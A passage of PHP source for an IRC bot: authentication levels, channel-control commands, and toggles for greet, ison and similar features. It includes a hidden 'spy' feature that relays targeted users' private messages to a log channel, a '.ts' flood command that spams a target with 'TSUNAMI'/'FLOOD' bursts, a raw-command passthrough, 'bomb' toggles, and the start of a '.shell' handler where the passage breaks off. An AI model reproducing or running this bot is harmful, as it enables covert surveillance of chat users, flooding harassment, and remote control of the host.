                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( substr(strtolower($Params[3]),0,7)==":^login") {$sppp=false; }
                            if ( strtolower($Params[2])==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if ( $Params[3]==":PING") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' PING]' . CRLF);
                                }
                                elseif ($Params[3]==":VERSION") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' VERSION]' . CRLF);
                                }
                                elseif ($Params[3]==":TIME") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 4['.$fsrc[nick].' TIME]' . CRLF);
                                }
                                elseif ($Params[3]==":ACTION") {
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 15(4'.$fsrc[nick].' '.$Params[2]. '15) 6'.$fsrc[nick].' ' . rtrim(substr($TxtMsg,8),"").'' . CRLF);
                                }
                                else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 15(4'.$fsrc[nick].' '.$Params[2]. '15) '  . str_replace("","",$TxtMsg) . CRLF);
                                }
                            }
                        }
                       
                        if ($auth["$fsrc[nkecil]"]) {
                                       if ($auth["$fsrc[nkecil]"]["pass"]) {
                                $isuser=true;
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                $islogin=true;
                                }
                                  }
                        }
                       
                        ############# INFO CLIENT ####################
                        if ( $Params[3]==":PING") {
                            fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . $TxtMsg . CRLF);
                        }
                        elseif ($Params[3]==":VERSION") {
                                fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . chr(1) . 'VERSION '. $ctcpversi . chr(1) . CRLF);
                           }
                           elseif ($Params[3]==":TIME") {
                                        $timetoday = date("D M j H:i:s Y");
                                fputs($fp,'NOTICE ' . $fsrc[nick] . ' :' . chr(1) . 'TIME '.$timetoday . chr(1) . CRLF);
                           }
                        ########### END INFO CLIENT #####################
                       

                        ############# Params Command Master ###########
                        elseif (substr($Params[3],0,2)==':^' && $isuser){
                            if ($auth["$fsrc[nkecil]"]["status"] && strtolower($dCom[0])=="^login" && $dCom[1]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==1) {
                                if ($dCom[1]===$auth["$fsrc[nkecil]"]["pass"]) {
                                $auth["$fsrc[nkecil]"]["auth"] = 2;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re Authorized as '.$auth["$fsrc[nkecil]"]["status"].' of this bot! ' . CRLF);
                                }
                                } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re Already Authorized!' . CRLF); }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && strtolower($dCom[0])=='^logout' && $islogin) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    $auth["$fsrc[nkecil]"]["auth"] = 1;
                                    fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :You`re LogOut! ' . CRLF);
                                }
                                }
                            }
                        }
                        elseif (substr($Params[3],0,2)==':.' && $islogin ){
                            $stauth=0;
                            $stboth=0;
                            $idaway=0;
                            $comcom=$dCom[0];
                            $dCom[0]=strtolower($dCom[0]);
                            if($isaway){fputs($fp,'AWAY'. CRLF);$isaway=false;}
                            if ($auth["$fsrc[nkecil]"]["status"]=="user"){$stauth=3;}
                            elseif ($auth["$fsrc[nkecil]"]["status"]=="master"){$stauth=2;}
                            elseif (strtolower($auth["$fsrc[nkecil]"]["status"])=="admin"){$stauth=1;}
                            if($stauth==2 || $stauth==1){$stboth=1;}
                            if (ereg('#',$Params[2])){$cmdin=1;}else {$cmdin=0;}
                           
                            if ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.chgpass' && $dCom[1] && $dCom[2] && $islogin) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                if ($dCom[1]===$auth["$fsrc[nkecil]"]["pass"]) {
                                    $auth["$fsrc[nkecil]"]["pass"] = $dCom[2];
                                    fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Your New Auth Pass set to '.$auth["$fsrc[nkecil]"]["pass"].' ' . CRLF);
                                } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Your Old Pass Wrong! Type: .Chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRLF); }
                                }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $islogin) {
                                $dCom[1] = strtolower($dCom[1]);
                                $dCom[3] = strtolower($dCom[3]);
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    if ($auth["$fsrc[nkecil]"]["status"]=="Admin") {
                                        if ($dCom[3]=="master" || $dCom[3]=="user") {
                                            $auth["$dCom[1]"]["name"] = $dCom[1];
                                            $auth["$dCom[1]"]["pass"] = $dCom[2];
                                            $auth["$dCom[1]"]["status"] = $dCom[3];
                                            $auth["$dCom[1]"]["auth"] = 1;
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :AddUser :'.$dCom[1].' As My '.$dCom[3] . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :You`re Now Known As My '.$dCom[3].' Added By ' . $fsrc[nick] .' With Pass ' . $dCom[2] . ' Now Type: ^Login <your pass> ' . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Adduser <nick> <pass> <master/user> ' . CRLF); }
                                    }
                                    elseif ($auth["$fsrc[nkecil]"]["status"]=="master") {
                                        if (!$auth["$dCom[1]"]["name"]) {
                                            if ($dCom[3]=="user") {
                                                $auth["$dCom[1]"]["name"] = $dCom[1];
                                                $auth["$dCom[1]"]["pass"] = $dCom[2];
                                                $auth["$dCom[1]"]["status"] = $dCom[3];
                                                $auth["$dCom[1]"]["auth"] = 1;
                                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :AddUser :'.$dCom[1].' As My '.$dCom[3] . CRLF);
                                                fputs($fp,'PRIVMSG ' . $dCom[1] . ' :You`re Now Known As My 4'.$dCom[3].' Added By 2'.$fsrc[nick].' With Pass 4' . $dCom[2] . ' Now Type: 2^Login <your pass>' . CRLF);
                                            } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Adduser <nick> <pass> user ' . CRLF); }
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :User Already Exist! Aborting AddUser! ' . CRLF); }
                                    } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Unknown Status! Your Status is '.$auth["$fsrc[nkecil]"]["status"] . CRLF); }
                                }
                            }
                            elseif ($auth["$fsrc[nkecil]"]["status"] && $dCom[0]=='.deluser' && $dCom[1] && $islogin) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    if ($auth["$fsrc[nkecil]"]["status"]=="Admin") {
                                        if ($auth["$dCom[1]"]["status"]=="master" || $auth["$dCom[1]"]["status"]=="user") {
                                            unset($auth["$dCom[1]"]);
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :DelUser :'.$dCom[1].' From My UserList ' . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :Your Access As My Master Has Been Deleted By '.$fsrc[nick] . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Deluser <nick> ' . CRLF); }
                                    } elseif ($auth["$fsrc[nkecil]"]["status"]=="master") {
                                        if ($auth["$dCom[1]"]["status"]=="user") {
                                            unset($auth["$dCom[1]"]);
                                            fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :DelUser :'.$dCom[1].' From My UserList ' . CRLF);
                                            fputs($fp,'PRIVMSG ' . $dCom[1] . ' :Your Access As My User Has Been Deleted By '.$fsrc[nick] . CRLF);
                                        } else { fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Wrong Command! Type: .Deluser <nick> ' . CRLF); }
                                    }
                                }
                            }
                            elseif ($dCom[0]=='.server' && $dCom[1] && $stboth==1){
                                $bot['server']=$dCom[1];
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing SeRVeR To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.servpass' && $dCom[1] && $stboth==1){
                                $bot['pserver']=$dCom[1];
                                $bot['userver']=1;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing PassWOrD SeRVeR To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.realname' && $dCom[1] && $stboth==1){
                                $Rmsg=substr($TxtMsg,10);
                                $Rmsg=ltrim($Rmsg);
                                $bot['realname']=$Rmsg;
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing ReaLNaMe To '. $Rmsg . CRLF);
                            }
                            elseif ($dCom[0]=='.ident' && $dCom[1] && $stboth==1){
                                $bot['ident']=$dCom[1];
                                fputs($fp,'PRIVMSG ' . $fsrc[nick] . ' :Changing IdentD To '. $dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.jump' && $stboth==1){
                                $keluar = 0;
                                fputs($fp, 'QUIT :'.$logobot[rand(0,count($logobot) - 1)].' ReSTaRt bY '.$fsrc[nick]. CRLF);
                            }
                            elseif ($dCom[0]=='.up' && $cmdin==1) {
                                fputs($fp, 'PRIVMSG Chanserv :Op '.$Params[2].' '.$bot['nick'] . CRLF);
                            }
                            elseif ($dCom[0]=='.down' && $cmdin==1) {
                                fputs($fp, 'MODE '.$Params[2].' +v-ho '.$bot['nick'].' '.$bot['nick'].' '.$bot['nick'].CRLF);
                                fputs($fp, 'MODE '.$Params[2].' +vv-o '.$bot['nick'].' '.$bot['nick'].' '.$bot['nick'].CRLF);
                            }
                            elseif ($dCom[0]=='.o' || $dCom[0]=='.h' || $dCom[0]=='.v' || $dCom[0]=='.do' || $dCom[0]=='.dh' || $dCom[0]=='.dv'){
                                if ($dCom[0]=='.o' || $dCom[0]=='.h' || $dCom[0]=='.v'){
                                    $moden=strtolower(substr($dCom[0],1));
                                    $moden='+'.$moden . $moden . $moden;
                                }
                                elseif ($dCom[0]=='.do' || $dCom[0]=='.dh' || $dCom[0]=='.dv'){
                                    $moden=strtolower(substr($dCom[0],2));
                                    $moden='-'.$moden . $moden . $moden;
                                }
                                if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];}
                                elseif($cmdin==0){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];}
                                if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; }
                                fputs($fp, 'MODE '.$ttarget.' '.$moden . ' '.$vonick.' '.$tmore. CRLF);
                            }
                            elseif ($dCom[0]=='.j' && $dCom[1]) {
                                $jchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; }
                                fputs($fp, 'JOIN '.$jchan . CRLF);
                                if($dCom[2]){fputs($fp, 'JOIN '.$jchan .' '.$dCom[2] . CRLF);}
                            }
                            elseif ($dCom[0]=='.p') {
                                $pchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
                                if($dCom[1]){
                                    $pmsg = str_replace(".p ".$dCom[1],"",$TxtMsg);
                                    fputs($fp, 'PART '.$pchan . ' :'. ltrim($pmsg) . CRLF);
                                }
                                else{
                                    fputs($fp, 'PART '.$pchan . CRLF);
                                }
                            }
                            elseif ($dCom[0]=='.cy') {
                                $cychan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $cychan="#".$dCom[1]; }
                                if($dCom[1]){
                                    $pmsg = str_replace($comcom." ".$dCom[1],"",$TxtMsg);
                                    fputs($fp, 'PART '.$cychan . ' :'. ltrim($pmsg) . CRLF);
                                }
                                else{
                                    fputs($fp, 'PART '.$cychan . CRLF);
                                }
                                sleep(1);
                                fputs($fp, 'JOIN '.$cychan . CRLF);
                            }
                            elseif ($dCom[0]=='.k' || $dCom[0]=='.kb' || $dCom[0]=='.kc') {
                                if($dCom[1]){
                                    if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$comcom.' '.$dCom[1];}
                                    elseif($cmdin==0){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1].' '.$dCom[2];}
                                    $msg = str_replace("$tkode","",$TxtMsg);
                                    $msg=ltrim($msg);
                                    if($dCom[0]=='.k'){
                                        fputs($fp, 'KICK '.$ttarget.' '.$tdata.' :'.$msg . CRLF);
                                    }
                                    elseif($dCom[0]=='.kb'){
                                        fputs($fp, 'MODE '.$ttarget.' +b '.$tdata . CRLF);
                                        fputs($fp, 'KICK '.$ttarget.' '.$tdata.' :'.$msg . CRLF);
                                    }
                                    elseif($dCom[0]=='.kc'){
                                        fputs($fp, 'PRIVMSG CHANSERV :KICK '.$ttarget.' '.$tdata.' '.$msg.''  . CRLF);
                                    }
                                }

                            }
                            elseif ($dCom[0]=='.b' || $dCom[0]=='.ub') {
                                if ($cmdin==1){$ttarget=$Params[2];$tkode=$comcom;}
                                    elseif($cmdin==0){$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1];}
                                $tmode = str_replace("$tkode","",$TxtMsg);
                                $tmode = ltrim($tmode);
                                if($dCom[0]=='.b'){
                                    fputs($fp, 'MODE '.$ttarget.' +b '.$tmode . CRLF);
                                }
                                else{
                                    fputs($fp, 'PRIVMSG Chanserv unban '.$ttarget.' '.$tmode . CRLF);
                                    fputs($fp, 'MODE '.$ttarget.' -b '.$tmode . CRLF);
                                }

                            }
                            elseif ($dCom[0]=='.a' || $dCom[0]=='.s') {
                                if($dCom[1]){
                                    if ($cmdin==1){$ttarget=$Params[2];$tkode=$comcom;}
                                    elseif($cmdin==0){$ttarget=$dCom[1];$tkode=$comcom.' '.$dCom[1];}
                                    $msg = str_replace("$tkode ","",$TxtMsg);
                                    if($dCom[0]=='.a'){
                                        fputs($fp,'PRIVMSG '.$ttarget.' :ACTION '.$msg.''. CRLF);
                                    }else{
                                        fputs($fp,'PRIVMSG '.$ttarget.' :'.$msg. CRLF);
                                    }
                                }
                            }
                            if ($dCom[0]=='.ts' && $dCom[1] && $stboth==1){
                                    $tsmsg = strstr($TxtMsg,$dCom[0]);
                                    $tsmsg = str_replace($comcom." $dCom[1]","",$tsmsg);
                                    if (ereg("#", $dCom[1])) {
                                         fputs($fp, 'JOIN '.$dCom[1] . CRLF);
                                         sleep(1);
                                    }
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :'.$tsmsg.'[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi' . CRLF);
                                    fputs($fp, 'NOTICE '.$dCom[1].' :'.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :TSUNAMI '.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :'.$tsmsg.'[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi' . CRLF);
                                    fputs($fp, 'NOTICE '.$dCom[1].' :'.$tsmsg.'' . CRLF);
                                    fputs($fp, 'PRIVMSG '.$dCom[1].' :FLOOD '.$tsmsg.'' . CRLF);
                                    if (ereg("#", $dCom[1])) {
                                         fputs($fp, 'PART '.$dCom[1].' :'.$tsmsg . CRLF);
                                    }

                            }
                            elseif ($dCom[0]=='.n'){
                                        fputs($fp, 'NICK '.$dCom[1] . CRLF);
                            }
                            elseif ($dCom[0]=='.away'){
                                if($dCom[1]){
                                    $msga=substr($TxtMsg,6);
                                    fputs($fp, 'AWAY '. $msga . CRLF);
                                    unset($msga);
                                }
                                else{
                                    fputs($fp, 'AWAY' . CRLF);
                                    $isaway=false;
                                }
                            }
                            elseif ($dCom[0]=='.raw' && $dCom[1] && $stboth==1){
                                $msg = str_replace($comcom." ","",$TxtMsg);
                                $msg=ltrim($msg);
                                fputs($fp, 'PRIVMSG '.$Params[2] . ' :4Executed Raw Command. Use RAW With Caution. It Can Destroy The BOT.' . CRLF);
                                fputs($fp,$msg.CRLF);
                            }
                            elseif ($dCom[0]=='.q' && $stauth==1 ){
                                $keluar=1;
                                if($dCom[1]){
                                    $keluar=1;
                                    $Qmsg=substr($TxtMsg,3);
                                    fputs($fp, 'QUIT :'.$Qmsg. CRLF);
                                }
                                else{
                                    $keluar=1;
                                    fputs($fp, 'QUIT'. CRLF);
                                    $keluar=1;
                                }
                            }
                            elseif ($dCom[0]=='.autojoin' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysjoinonkick = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Join is now '.$sysjoinonkick . CRLF); }
                                elseif ($dCom[1]=="off") { $sysjoinonkick = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Join is now '.$sysjoinonkick. CRLF); }
                            }
                            elseif ($dCom[0]=='.autoaway' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $autoaway = true; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Away is now on' . CRLF); }
                                elseif ($dCom[1]=="off") { $autoaway = false; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Away is now off'. CRLF); }
                            }
                            elseif ($dCom[0]=='.astro' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysastro = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Astro Command is now '.$sysastro . CRLF); }
                                elseif ($dCom[1]=="off") { $sysastro= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Astro Command is now '.$sysastro . CRLF); }
                            }
                                                        elseif ($dCom[0]=='.sms' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $syssms = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Sms Command is now '.$syssms . CRLF); }
                                elseif ($dCom[1]=="off") { $syssms= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Sms Command is now '.$syssms . CRLF); }
                            }
                            elseif ($dCom[0]=='.spoof' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysspoof = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spoof Command is now '.$sysspoof . CRLF); }
                                elseif ($dCom[1]=="off") { $sysspoof= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spoof Command is now '.$sysspoof . CRLF); }
                            }
                            elseif ($dCom[0]=='.ping' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysping = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ping Command is now '.$sysping . CRLF); }
                                elseif ($dCom[1]=="off") { $sysping = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ping Command is now '.$sysping . CRLF); }
                            }
                            elseif ($dCom[0]=='.versi' && $dCom[1]) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysversi = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Version Command is now '.$sysversi . CRLF); }
                                elseif ($dCom[1]=="off") { $sysversi = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Version Command is now '.$sysversi . CRLF); }
                            }
                            elseif ($dCom[0]=='.bom' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                $goboom=0;$targetboom="";$onboom="off";
                                if ($dCom[1]=="on") { $sysboom = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Boom Command is now '.$sysboom . CRLF); }
                                elseif ($dCom[1]=="off") { $sysboom= "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Boom Command is now '.$sysboom . CRLF); }
                            }
                            elseif ($dCom[0]=='.chanbom' && $dCom[1] && $stboth==1) {
                                $chanboom=strtolower($dCom[1]);
                            }
                            elseif ($dCom[0]=='.timebom' && $dCom[1] && $stboth==1) {
                                if($dCom[1]<=30){$timeboom=$dCom[1];}
                            }
                            elseif ($dCom[0]=='.spy' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysspy = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Command is now '.$sysspy . CRLF); }
                                elseif ($dCom[1]=="off") { $sysspy = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Command is now '.$sysspy . CRLF); }
                            }
                            elseif($dCom[0]=='.chanlog' && $dCom[1] && $stboth==1){
                                $spychan["chan"]=$dCom[1];
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Spy Log cHanGe To '.$dCom[1] . CRLF);
                            }
                           
                            elseif($dCom[0]=='.addlog' && $dCom[1] && $stboth==1){
                                $dlogc=strtolower($dCom[1]);
                                $spynick["$dlogc"]=$dCom[1];
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Addlog :'.$dCom[1].' ' . CRLF);
                            }
                            elseif($dCom[0]=='.dellog' && $dCom[1] && $stboth==1){
                                $elogl=strtolower($dCom[1]);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Dellog :'.$dCom[1].' ' . CRLF);
                                unset($spynick["$elogl"]);
                            }
                            elseif ($dCom[0]=='.ison' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysison ="on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ison is now On' . CRLF); }
                                elseif ($dCom[1]=="off") { $sysison ="off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ison is now Off' . CRLF); }
                            }
                            elseif ($dCom[0]=='.chanison' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                    $chanson=$dCom[1];
                            }
                            elseif ($dCom[0]=='.addison' && $dCom[1] && !ereg(";",$dCom[1]) && $stboth==1) {
                                $addson=strtolower($dCom[1]);
                                $addgak=1;
                                $xplistson=explode(";",$mylistson);
                                foreach ($xplistson as $plist){
                                    if ($plist==$addson){$addgak=0;}
                                }
                                if($addgak==1){
                                    $mylistson = $mylistson . ';' . $addson;
                                    $mylistson=str_replace(";;","",$mylistson);
                                    $mylistson=ltrim($mylistson,";");
                                    $mylistson=str_replace(";;","",$mylistson);
                                    $mylistson=rtrim($mylistson,";");
                                    $mylistson=str_replace(";;","",$mylistson);
                                }
                                $llo=$mylistson;
                                $llll=str_replace(";"," ",$llo);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :LIST ISON '.$llll . CRLF);
                                unset($llll);
                                unset($xplistson);
                            }
                            elseif ($dCom[0]=='.delison' && $dCom[1] && $stboth==1) {
                                $delplist=strtolower($dCom[1]);
                                $mylistson=$mylistson;
                                $tmplistson="";
                                $xplistson=explode(";",$mylistson);
                                foreach ($xplistson as $plist){
                                    if($delplist<>$plist){
                                        $tmplistson = $tmplistson . ';' . $plist;
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                        $tmplistson=ltrim($tmplistson,";");
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                        $tmplistson=rtrim($tmplistson,";");
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                    }
                                }
                                $mylistson=$tmplistson;
                                $llo=$mylistson;
                                $llll=str_replace(";"," ",$llo);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :LIST ISON '.$llll . CRLF);
                                unset($llll);
                                unset($xplistson);
                            }
                            elseif ($dCom[0]=='.greet' && $dCom[1] && $stboth==1){
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysgreet = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Greet System is now '.$sysgreet . CRLF); }
                                elseif ($dCom[1]=="off") { $sysgreet = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Greet System is now '.$sysgreet . CRLF); }
                            }
                            elseif($dCom[0]=='.addgreet' && $dCom[1] && $dCom[2] && $stboth==1){
                                $ddc=strtolower($dCom[1]);
                                $greetmsg["$ddc"]["nama"]=$dCom[1];
                                $mgreet=str_replace($comcom." ".$dCom[1]." ","",$TxtMsg);
                                $greetmsg["$ddc"]["msg"]=$mgreet;
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Greet For :'.$greetmsg["$ddc"]["nama"] . CRLF);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Greet Msg :'.$greetmsg["$ddc"]["msg"] . CRLF);
                            }
                            elseif($dCom[0]=='.delgreet' && $dCom[1] && $stboth==1){
                                $eel=strtolower($dCom[1]);
                                unset($greetmsg["$eel"]["nama"]);
                                unset($greetmsg["$eel"]["msg"]);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Delete Greet For :'.$eel . CRLF);
                            }
                            elseif ($dCom[0]=='.botnick') {
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :My Nick Is :'.$bot['nick'] . CRLF);
                            }
                            elseif ($dCom[0]=='.banlist' && $dCom[1]) {
                                $bchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
                                fputs($fp, 'MODE '.$bchan.' b' . CRLF);
                                $banlist["$bchan"]=$fsrc[nick];
                            }
                            elseif ($dCom[0]=='.userlist') {
                                $userlist="";
                                foreach ($auth as $ulist) {
                                    if ($ulist["pass"]) { $pass="-pass ok"; }
                                    else { $pass="-no pass"; }
                                    $userlist .= $ulist["name"].'('.$ulist["status"].$pass.') ';
                                }
                                fputs($fp, 'NOTICE '.$fsrc[nick].' :User List: '.$userlist . CRLF);
                            }
                            elseif ($dCom[0]=='.nicklist' && $dCom[1]) {
                                $nl_chan=explode(" ",$user_chan_arr[strtolower($dCom[1])]["nick"]);
                                foreach ( $nl_chan as $cur_xuser => $xuser){
                                    $limitshow++;
                                    $lx_user=$lx_user.' '. $xuser;
                                    if($limitshow==15){
                                    $lx_user.="[SP]";
                                    $limitshow=0;
                                    }
                                }
                                $lx_user=ltrim($lx_user);
                                $lx_user=rtrim($lx_user);
                                $lx_user=str_replace("  "," ",$lx_user);
                                $lx_user=str_replace("[SP] ","[SP]",$lx_user);
                                $lxuser=explode("[SP]",$lx_user);
                               
                                for ($i = 0; $i <= count($lxuser); $i++) {
                                if($lxuser[$i]){fputs($fp, 'NOTICE '.$fsrc[nick].' :Names '.$dCom[1].' - '.$lxuser[$i]. CRLF);}
                                }
                                unset($lxuser);
                                unset($lx_user);
                                unset($nl_chan);
                                unset($limitshow);

                            }
                            elseif ($dCom[0]=='.status') {
                                $modbot="";
                                if($sysastro=="on"){$modbot.=' [4A]sTRo';}
                                if($sysping=="on"){$modbot.=' [4P]iNG';}
                                if($sysspoof=="on"){$modbot.=' SPoo[4F]';}
                                if($sysversi=="on"){$modbot.=' V[4E]rSIoN';}
                                if($sysison=="on"){$modbot.=' [4I]soN';}
                                if($sysgreet=="on"){$modbot.=' [4G]rEEt';}
                                if($sysspy=="on"){$modbot.=' [4S]py';}
                                if($autoaway==true){$modbot.=' AUtoA[4W]ay';}
                                if($sysjoinonkick=="on"){$modbot.=' AuTo[4J]oIN';}
                                $modbot=ltrim($modbot);
                                $modbot=rtrim($modbot);
                                if($modbot==""){$modbot="[4PA]RKiR [4NI]c[4K]";}
                                fputs($fp,'PRIVMSG '.$Params[2].' :ACTION iS MODeS '.$modbot.''. CRLF);
                            }
                            elseif ($dCom[0]=='.help' && $cmdin==0) {
                                fputs($fp,'PING 12886241614'. CRLF);
                                $dlhelp=0;
                                foreach ($helpbot as $lhelp){
                                    $dlhelp++;
                                    if($dlhelp>=2){sleep(2);$dlhelp=0;}
                                    fputs($fp,'PRIVMSG '.$fsrc[nick].' :'.$lhelp. CRLF);
                                }
                                unset($lhelp);
                                unset($dlhelp);
                            }
                            elseif ($dCom[0]=='.shell' && $dCom[1] && $cmdin==1 && $stboth==1) {
                                $msg = str_replace($comcom." ","",$TxtMsg);
